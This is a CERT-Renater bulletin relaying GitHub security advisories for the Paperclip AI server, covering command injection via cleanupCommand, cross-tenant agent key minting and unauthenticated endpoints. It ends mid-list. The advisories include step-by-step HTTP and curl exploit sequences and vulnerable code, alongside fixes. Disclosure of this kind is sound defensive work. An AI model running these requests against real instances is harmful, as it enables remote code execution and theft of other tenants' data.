Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN400
_____________________________________________________________________

DATE                : 17/04/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running paperclip versions prior to
                                      2026.416.0.

=====================================================================
https://github.com/paperclipai/paperclip/security/advisories/GHSA-vr7g-88fq-vhq3
https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp
https://github.com/paperclipai/paperclip/security/advisories/GHSA-3xx2-mqjm-hg9x
https://github.com/paperclipai/paperclip/security/advisories/GHSA-xfqj-r5qw-8g4j
https://github.com/paperclipai/paperclip/security/advisories/GHSA-gqqj-85qm-8qhf
_____________________________________________________________________

OS Command Injection via Execution Workspace cleanupCommand
Critical
cryppadotta published GHSA-vr7g-88fq-vhq3 Apr 16, 2026

Package
paperclip (npm)

Affected versions
<2026.416.0

Patched versions
2026.416.0


Description

Field 	Value
Vulnerability           OS Command Injection (CWE-78)
Severity                Critical (CVSS 3.1: 9.8)
Affected Software 	Paperclip AI v2026.403.0
Affected Component 	Execution Workspace lifecycle (workspace-runtime.ts)
Affected Endpoint 	PATCH /api/execution-workspaces/:id
Deployment Modes 	All — local_trusted (zero auth), authenticated (any company user)
Platforms 	Linux, macOS, Windows (with Git installed)
Date 	2026-04-13


Executive Summary

A critical OS command injection vulnerability exists in Paperclip's
execution workspace lifecycle. An attacker can inject arbitrary
shell commands into the cleanupCommand field via the
PATCH /api/execution-workspaces/:id endpoint. When the workspace
is archived, the server executes this command verbatim via
child_process.spawn(shell, ["-c", cleanupCommand]) with no input
validation or sanitization. In local_trusted mode (the default
for desktop installations), this requires zero authentication.

Three independent proofs of exploitation were demonstrated on
Windows 11: arbitrary file write, full system information
exfiltration (systeminfo), and GUI application launch (calc.exe).


Root Cause Analysis

Vulnerable Code Path

server/src/services/workspace-runtime.ts (line ~738)

The cleanupExecutionWorkspaceArtifacts() function iterates
over cleanup commands from workspace config and executes
each via shell:

// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
  await recordWorkspaceCommandOperation(ws, command, ...);
}

// recordWorkspaceCommandOperation() →
const shell = resolveShell();  // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);

Missing Input Validation

server/src/routes/execution-workspaces.ts — PATCH handler

The PATCH endpoint accepts a config object containing
cleanupCommand with no validation:

PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }

The cleanupCommand value is stored directly in workspace
metadata and later passed to spawn() without sanitization,
allowlisting, or escaping.


Shell Resolution

resolveShell() returns process.env.SHELL or falls back
to "sh":

    Linux/macOS: /bin/sh exists natively — commands execute
immediately
    Windows: sh.exe is available via Git for Windows
(C:\Program Files\Git\bin\sh.exe) — Paperclip requires
Git, so sh is present on most installations


Attack Chain

The exploit requires 5 HTTP requests with zero
authentication in local_trusted mode:


Step 1 — Find a Company

GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "59e9248b-...", "name": "Hello", ...}]


Step 2 — Find an Execution Workspace

GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]


Step 3 — Reactivate Workspace (if archived/failed)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "active"}


Step 4 — Inject cleanupCommand (Command Injection)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}

Response confirms storage:

{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}


Step 5 — Trigger RCE (Archive Workspace)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "archived"}

This triggers cleanupExecutionWorkspaceArtifacts() which calls:

spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])

The injected command is executed with the privileges of
the Paperclip server process.

Authentication Bypass by Deployment Mode
local_trusted Mode (Default Desktop Install)

Every HTTP request is auto-granted full admin privileges
with zero authentication:

// middleware/auth.ts
req.actor = {
  type: "board",
  userId: "local-board",
  isInstanceAdmin: true,
  source: "local_implicit"
};

The boardMutationGuard middleware is also bypassed:

// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
  next();
  return;
}

authenticated Mode

Any user with company access can exploit this vulnerability.
The assertCompanyAccess check occurs AFTER the database
query (BOLA/IDOR pattern), and no additional authorization
is required to modify workspace config fields.


Proof of Concept — 3 Independent RCE Proofs (Windows 11)

All proofs executed via the automated PoC script poc_paperclip_rce.py.
Proof 1: Arbitrary File Write

Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"

Result:

  +================================================+
  |  VULNERABLE - Arbitrary Code Execution!         |
  |  cleanupCommand was executed on the server      |
  +================================================+

  Proof file: %TEMP%\rce-proof-595c04f7.txt
  Content:    RCE_PROOF_595c04f7
  Platform:   Windows 11

Proof 2: System Command Execution (Data Exfiltration)

Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"

Result:

  +================================================+
  |  System command output captured!                |
  +================================================+

  Host Name:                     [REDACTED]
  OS Name:                       Microsoft Windows 11 Home
  OS Version:                    10.0.26200 N/A Build 26200
  OS Manufacturer:               Microsoft Corporation
  Registered Owner:              [REDACTED]
  Product ID:                    [REDACTED]
  System Manufacturer:           [REDACTED]
  System Model:                  [REDACTED]
  System Type:                   x64-based PC
  ... (72 total lines of system information)

Proof 3: GUI Application Launch (calc.exe)

Payload: calc.exe

Result:

  +================================================+
  |  calc.exe launched! Check your taskbar.         |
  |  This is server-side code execution.            |
  +================================================+

Windows Calculator was launched on the host system by
the Paperclip server process.


Impact Assessment
Impact 	Description
Remote Code Execution 	Arbitrary commands execute as the Paperclip server process
Data Exfiltration 	Full system info, environment variables, files readable by server process
Lateral Movement 	Attacker can install tools, pivot to internal network
Supply Chain 	Workspaces contain source code — attacker can inject backdoors into repositories
Persistence 	Attacker can create scheduled tasks, install reverse shells
Privilege Escalation 	Server may run with elevated privileges; attacker inherits them
Attack Scenarios

    Desktop user (local_trusted): Any process or malicious
web page making local HTTP requests to 127.0.0.1:3100 can
achieve RCE with zero authentication
    Team deployment (authenticated): Any employee with
Paperclip access can compromise the server and all
repositories managed by it
    Chained attack: Combine with SSRF or DNS rebinding to
attack Paperclip instances from the network

CVSS v3.1 Score

Score: 9.8 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric 	Value 	Justification
Attack Vector 	Network 	Exploitable via HTTP API
Attack Complexity 	Low 	No special conditions required
Privileges Required 	None 	Zero auth in local_trusted (default)
User Interaction 	None 	Fully automated, no user action needed
Confidentiality 	High 	Full system information exfiltrated
Integrity 	High 	Arbitrary file write, code execution
Availability 	High 	Can kill processes, corrupt data
Remediation Recommendations
Immediate (Critical)

    Input validation: Reject or sanitize cleanupCommand and
teardownCommand fields in the PATCH handler. Do not allow
user-supplied values to be passed to shell execution.

    Command allowlisting: If custom cleanup commands are
needed, implement a strict allowlist of permitted commands
(e.g., git clean, rm -rf <workspace_dir>).

    Use execFile instead of spawn with shell: Replace
spawn(shell, ["-c", command]) with execFile() using an
argument array, which prevents shell metacharacter injection.

Short-term

    Authorization check: Add proper authorization checks
BEFORE processing the PATCH request. Validate that the
user has explicit permission to modify workspace
configuration.

    Separate config fields: Do not allow the same endpoint
to update both workspace status and security-sensitive
configuration fields like commands.

Long-term

    Sandboxed execution: Run cleanup commands in a
sandboxed environment (container, VM) with minimal
privileges.

    Audit logging: Log all modifications to command
fields for forensic analysis.

    Security review: Audit all spawn, exec, and
execFile calls across the codebase for similar
injection patterns.

Proof of Concept Script
Script

poc_paperclip_rce.py

The full automated PoC is available as poc_paperclip_rce.py. It:

    Auto-detects deployment mode and skips auth for
local_trusted
    Discovers company and workspace automatically
    Reactivates failed/archived workspaces
    On Windows, auto-locates sh.exe from Git and
restarts Paperclip if needed
    Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
    Works on Linux, macOS, and Windows

Usage:

python poc_paperclip_rce.py --target http://127.0.0.1:3100


Disclosure Timeline

Date 	Event
2026-04-13 	Vulnerability discovered and confirmed with
                  3 RCE proofs
2026-04-13 	Report submitted via GitHub Security Advisory
TBD 	Vendor acknowledgment
TBD 	Fix released
TBD 	Public disclosure


Severity
Critical

CVE ID
No known CVE

Weaknesses
No CWEs
Credits

    @YuvalElbar6 YuvalElbar6 Reporter
_____________________________________________________________________


Cross-tenant agent API token minting via missing assertCompanyAccess
on /api/agents/:id/keys

Critical
cryppadotta published GHSA-47wq-cj9q-wpmp Apr 16, 2026

Package
@paperclipai/server (npm)

Affected versions
<= 2026.411.0-canary.8

Patched versions
v2026.416.0


Description

01-setup

    Isolated paperclip instance running in authenticated mode (default
    config) on a clean Docker image matching commit b649bd4
    (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory
    was verified on an unmodified build.


Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They
never call assertCompanyAccess and never verify that the caller is a
member of the company that owns the target agent.

Any authenticated board user (including a freshly signed-up account
with zero company memberships and no instance_admin role) can mint a
plaintext pcp_* agent API token for any agent in any company on the
instance. The minted token is bound to the victim agent's companyId
server-side, so every downstream assertCompanyAccess check on that
token authorizes operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It
is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain
disclosed in 2026.410.0): that advisory fixed one handler, thisreport
is a different handler with the same class of mistake that the
2026.410.0 patch did not cover.


Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then
calls assertCompanyAccess(req, agent.companyId). The three
/keys handlers above do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the
victim company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves
the bearer token to actor = { type: "agent", companyId: existing.companyId },
so every subsequent assertCompanyAccess(req, victim.companyId)
check passes.

The exact same assertBoard-only pattern is also present on agent
lifecycle handlers in the same file (POST /agents/:id/pause,
/resume, /terminate, and DELETE /agents/:id at lines 1962, 1985,
2006, 2029). An attacker can terminate, delete, or silently pause
any agent in any company with the same primitive.


Trigger Conditions

    Paperclip running in authenticated mode (the public,
    multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
    PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same
    default precondition as GHSA-68qg-g8mg-6pr7).
    At least one other company exists on the instance with
    at least one agent. In practice this is the normal state of any
    production paperclip deployment. The attacker needs the victim
    agent's ID, which leaks through activity feeds, heartbeat run
    APIs, and the sidebar-badges endpoint that the 2026.410.0
    disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The
attacker is an authenticated browser-session user with zero company
memberships.


PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post
the 2026.410.0 import-bypass patch). Full 5-step reproduction:
02-signup > Step 1-2: Mallory signs up via the default
`/api/auth/sign-up/email` flow > (no invite, no verification) and
confirms via `GET /api/companies` that she > is a member of zero
companies. She has no tenant access through the
normal > authorization path.

# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []

03-exploit > Step 3 — the vulnerability. Mallory POSTs to
`/api/agents/:id/keys` > targeting an agent in Victim Corp (a
company she is NOT a member of). The > server returns a
plaintext `pcp_*` token tied to the victim's `companyId`. > There
is no authorization error. `assertBoard` passed because Mallory
is a > board user; `assertCompanyAccess` was never called.

# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

04-exfil > Step 4-5: Use the stolen token as a Bearer credential.
`actorMiddleware` > resolves it to
`actor = { type: "agent", companyId: VICTIM }`, so every > downstream `assertCompanyAccess`
gate authorizes reads against Victim Corp. > Mallory can now enumerate
the victim's company metadata, issues, approvals, > and agent
configuration — none of which she had access to 30 seconds ago.

# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of
submission):

    POST /api/agents/:id/keys → 201 with plaintext token bound to
    the victim's companyId
    GET /api/companies/:victimId → 200 full company metadata
    GET /api/companies/:victimId/issues → 200 issue list
    GET /api/companies/:victimId/agents → 200 agent list
    GET /api/companies/:victimId/approvals → 200 approval list

Impact

    Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639,
    CWE-862, CWE-1220)
    Who is impacted: every paperclip instance running in authenticated
    mode with default PAPERCLIP_AUTH_DISABLE_SIGN_UP (open signup).
    That is the documented multi-user configuration and the default in
    docker/docker-compose.quickstart.yml.
    Confidentiality: HIGH. Any signed-up user can read another tenant's
    company metadata, issues, approvals, runs, and agent configuration
    (which includes adapter URLs, model settings, and references to
    stored secret bindings).
    Integrity: HIGH. The minted token is a persistent agent credential
    that authenticates for every assertCompanyAccess-gated agent-scoped
    mutation in the victim tenant (issue/run updates, self-wakeup with
    attacker-controlled payloads, adapter execution via the agent's own
    adapter, etc.).
    Availability: HIGH. The attacker can pause, terminate, or
    DELETE any agent in any company via the sibling assertBoard-only
    handlers (/agents/:id/pause, /resume, /terminate,
    DELETE /agents/:id).
    Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
    assertInstanceAdmin on POST /companies/import and closed the
    disclosed chain, but the same root cause (assertBoard treated as
    sufficient where assertCompanyAccess is required on a cross-tenant
    resource, or where assertInstanceAdmin is required on an
    instance-global resource) is present in multiple other handlers.
    The import fix did not audit sibling routes. This report is an
    instance of that same class the prior advisory did not cover.

Severity is driven by the fact that every precondition is default,
the bug is reachable by any signed-up user with zero memberships,
and the stolen token persists across sessions until manually
revoked.


Suggested Fix

In server/src/routes/agents.ts, replace each of the three /keys
handlers so they load the target agent first and enforce company
access:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  ...
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Look up the key to find its agentId/companyId, then:
  const key = await svc.getKeyById(keyId);
  if (!key) { res.status(404).json({ error: "Key not found" }); return; }
  assertCompanyAccess(req, key.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

While fixing this, audit the sibling lifecycle handlers at
lines 1962-2048 
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id)
which share the same bug.

Defense in depth: consider a code-wide sweep for assertBoard(req)
calls that are not immediately followed by assertCompanyAccess
or assertInstanceAdmin — the 2026.410.0 patch focused on one
handler but the pattern is systemic.

Patch Status

    Latest image at time of writing: ghcr.io/paperclipai/paperclip:latest
    digest sha256:baa9926e..., commit b649bd4
    (canary/v2026.411.0-canary.8), which is after the 2026.410.0 import
    bypass fix.
    The bug is still present on that revision. PoC reproduced end-to-end
    against an unmodified container.


Credits

Discovered by pwnkit, an
AI-assisted security scanner, during variant-hunt analysis of
GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated
paperclip instance.


Severity
Critical
10.0/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
No known CVE

Weaknesses
Weakness CWE-285
Weakness CWE-639
Weakness CWE-862
Weakness CWE-1220

Credits

    @peaktwilight peaktwilight Reporter


_____________________________________________________________________


Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows
full victim-company compromise
Critical
cryppadotta published GHSA-3xx2-mqjm-hg9x Apr 16, 2026

Package
@paperclipai/server (npm)

Affected versions
<= 2026.410.0-canary.1

Patched versions
v2026.416.0


Description

Summary

The GET, POST, and DELETE handlers under /agents/:id/keys in the Paperclip
control-plane API only call assertBoard(req), which verifies that the
caller has a board-type session but does not verify that the caller has
access to the company owning the target agent. A board user whose
membership is limited to Company A can therefore list, create, or revoke
agent API keys for any agent in Company B by supplying the victim agent's
UUID in the URL path. The POST handler returns the newly-minted token in
cleartext, which authenticates subsequent requests as 
{type:"agent", companyId:<CompanyB>}, giving the attacker full agent-level
access inside the victim tenant — a complete cross-tenant compromise.
Details

The three vulnerable routes are defined in server/src/routes/agents.ts:2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                       // <-- only checks actor.type === "board"
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                       // <-- same
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  // ... activity log ...
  res.status(201).json(key);              // returns cleartext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                       // <-- same
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  if (!revoked) { res.status(404).json({ error: "Key not found" }); return; }
  res.json({ ok: true });
});

assertBoard in server/src/routes/authz.ts:4-8 is intentionally narrow:

export function assertBoard(req: Request) {
  if (req.actor.type !== "board") {
    throw forbidden("Board access required");
  }
}

It does not consult req.actor.companyIds or req.actor.isInstanceAdmin.
Company-scoping is handled by a separate helper, assertCompanyAccess(req, companyId) (same file, lines 18-31),
which the key-management routes never call.

The service layer is also unauthenticated. In server/src/services/agents.ts:580-629:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);
  if (!existing) throw notFound("Agent not found");
  // ... status checks only ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,       // <-- copied from the victim agent
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);
  return { id: created.id, name: created.name, token, createdAt: created.createdAt };
},

listKeys: (id: string) => db.select({ ... }).from(agentApiKeys).where(eq(agentApiKeys.agentId, id)),

revokeKey: async (keyId: string) => {
  const rows = await db.update(agentApiKeys).set({ revokedAt: new Date() }).where(eq(agentApiKeys.id, keyId)).returning();
  return rows[0] ?? null;
},

Neither the agent id on POST/GET nor the key id on DELETE is
cross-checked against the caller's company membership.

The returned token becomes a full-fledged agent actor in
server/src/middleware/auth.ts:151-169:

req.actor = {
  type: "agent",
  agentId: key.agentId,
  companyId: key.companyId,      // <-- victim's company
  keyId: key.id,
  runId: runIdHeader || undefined,
  source: "agent_key",
};

assertCompanyAccess (lines 22-30 of authz.ts) only rejects an
agent actor when req.actor.companyId !== <target-companyId>.
Because the token the attacker just minted carries the victim's
companyId, it sails through every company-access check in
Company B — every endpoint that an agent in Company B is
authorized to hit.

No router-level mitigation exists: api.use(agentRoutes(db)) in
server/src/app.ts:155 mounts the router with only
boardMutationGuard (which enforces read-only for some board
sessions, not tenancy). The adjacent POST /agents/:id/wakeup
route at line 2089 and POST /agents/:id/heartbeat/invoke at
line 2139 correctly load the agent and call
assertCompanyAccess(req, agent.companyId) — the key-management
routes simply forgot this check. Commit ac664df8 ("fix(authz):
scope import, approvals, activity, and heartbeat routes")
hardened several other routes in this same file family but
did not touch the three key routes.

Agent UUIDs are routinely exposed to any authenticated board
user through org-chart rendering, issue listings,
heartbeat/activity payloads, and public references, so the
"unguessable id" is not a practical barrier; further, the
DELETE path only requires a keyId, which is returned by the
equally-broken GET /agents/:id/keys for any target agent.


PoC

Preconditions: attacker is a board user with membership only
in Company A. They know (or learn via the listable agent
surfaces) a UUID of an agent in Company B.

Step 1 — Authenticate as the Company-A board user and mint a
key for a Company-B agent:

curl -sS -X POST https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
  -H 'Cookie: <attacker-board-session>' \
  -H 'Content-Type: application/json' \
  -d '{"name":"pwn"}'

Expected (and observed) response:

{"id":"<new-key-id>","name":"pwn","token":"<CLEARTEXT_AGENT_TOKEN>","createdAt":"2026-04-10T..."}

The server never consulted the attacker's companyIds — only the URL
path — and returns the cleartext token whose companyId column is
set to Company B's id.

Step 2 — Use the stolen agent token as a first-class agent
principal in Company B:

curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID> \
  -H 'Authorization: Bearer <CLEARTEXT_AGENT_TOKEN>'

middleware/auth.ts sets req.actor = {type:"agent", agentId:<victim>, companyId:<CompanyB>, ...}.
Every route that does assertCompanyAccess(req, <CompanyB>) now passes.

Step 3 — The listing and revocation routes are broken in the same way:

# Enumerate every key on a victim agent (learn keyIds):
curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
  -H 'Cookie: <attacker-board-session>'

# Revoke a legitimate Company-B key, denying service to the real operator:
curl -sS -X DELETE https://target.example/api/agents/<ANY_AGENT_ID>/keys/<VICTIM_KEY_ID> \
  -H 'Cookie: <attacker-board-session>'

revokeKey only matches on keyId (server/src/services/agents.ts:622-629),
so even the agentId in the URL is decorative — the keyId alone
is the authority.


Impact

    Full cross-tenant compromise. Any board-authenticated user can
    mint agent API keys inside any other company in the same instance
    and then act as that agent — executing the workflows, reading the
    data, and calling every endpoint that agent is authorized for
    inside the victim tenant.
    Listing leak. Key metadata (ids, names, lastUsedAt, revokedAt)
    for every agent in every tenant is readable by any board user.
    Cross-tenant denial of service. The same primitive revokes
    legitimate agent keys in other companies by keyId.
    Scope change. The vulnerability is in Company A's scoping checks,
    but the impact is complete confidentiality/integrity/availability
    loss within Company B's tenant — a classic scope-change
    cross-tenant boundary breach.
    The attacker needs only the most minimal valid account on the
    instance (any company membership with board-type session) and a
    victim agent UUID, which is routinely exposed through agent
    listings, issues, heartbeats, and activity feeds.

Recommended Fix

Require explicit company-access checks on all three routes before
touching the service layer. For POST/GET, load the agent first and
authorize against agent.companyId. For DELETE, load the key row
first (or join through it) and authorize against key.companyId to
avoid leaking via keyId guessing.

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  res.json(await svc.listKeys(id));
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  await logActivity(db, { /* ... */ });
  res.status(201).json(key);
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Add a getKeyById(keyId) helper that returns { id, agentId, companyId }.
  const keyRow = await svc.getKeyById(keyId);
  if (!keyRow) {
    res.status(404).json({ error: "Key not found" });
    return;
  }
  assertCompanyAccess(req, keyRow.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

Defense-in-depth: push the authorization down into the service
layer as well, so any future caller (e.g. a new route, a job, or an RPC)
is unable to create, list, or revoke an agent key without
proving company access. Add regression tests mirroring the ones
added in ac664df8 for the sibling routes to pin the behavior.


Severity
Critical
10.0/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
No known CVE

Weaknesses
Weakness CWE-639

Credits

    @offset offset Reporter


_____________________________________________________________________


Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
High
cryppadotta published GHSA-xfqj-r5qw-8g4j Apr 16, 2026

Package
No package listed

Affected versions
<0.3.1

Patched versions
2026.416.0


Description

Summary

Several API endpoints in authenticated mode have no authentication
at all. They respond to completely unauthenticated requests with
sensitive data or allow state-changing operations. No account,
no session, no API key needed.

Verified against the latest version.

Discord: sagi03581
Steps to Reproduce
1. Unauthenticated issue data access

GET /api/heartbeat-runs/:runId/issues returns issue data for a
heartbeat run with zero authentication. Every other endpoint in
server/src/routes/activity.ts calls assertCompanyAccess, but
this one was missed.

curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> []  (HTTP 200, not 401 or 403)

If an attacker obtains a valid run UUID (from logs, error
messages, shared URLs, or by probing), they can read issue
data without any credentials.

2. Unauthenticated CLI auth challenge creation

POST /api/cli-auth/challenges creates a CLI authentication
challenge with no actor check at all. The handler at
server/src/routes/access.ts:1638-1659 skips any auth verification.

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key

The response includes a boardApiToken that becomes active once
the challenge is approved. Combined with open registration
(separate report), this enables persistent API key generation.
3. Unauthenticated agent instruction / system prompt leakage

These endpoints in server/src/routes/access.ts require no
authentication:

curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints

curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
#   - every API endpoint and its parameters
#   - authentication mechanism (env var names, header formats)
#   - the complete agent coordination protocol
#   - the agent creation/hiring workflow

curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs

This hands an attacker a complete map of the internal API
without authenticating. It also leaks how agents authenticate,
how heartbeats work, and what adapter configurations are
available.
4. Unauthenticated deployment configuration disclosure

GET /api/health returns deployment mode, exposure setting,
auth status, bootstrap status, version, and feature flags.

curl -s http://<target>:3100/api/health
# {
#   "deploymentMode": "authenticated",
#   "deploymentExposure": "public",
#   "authReady": true,
#   "bootstrapStatus": "ready",
#   "version": "2026.403.0",
#   ...
# }

Tells an attacker exactly how the instance is configured,
whether registration is available, and what version is
running.
Impact

    Data exposure: heartbeat run issues accessible without
credentials. Agent instructions and full API structure
exposed to anyone.
    Reconnaissance: an attacker can fingerprint the deployment
(mode, version, features) and map the entire internal API
before attempting anything else.
    Auth bypass stepping stone: unauthenticated CLI challenge
creation is a building block for the full RCE chain
(reported separately).

Suggested Fixes

    Add authentication to heartbeat run issues in
server/src/routes/activity.ts:
        GET /api/heartbeat-runs/:runId/issues -- add assertCompanyAccess like every other endpoint in the same file

    Add authentication to CLI challenge creation in
server/src/routes/access.ts:
        POST /api/cli-auth/challenges -- add assertBoard
at minimum

    Add authentication to skill endpoints in server/src/routes/access.ts:
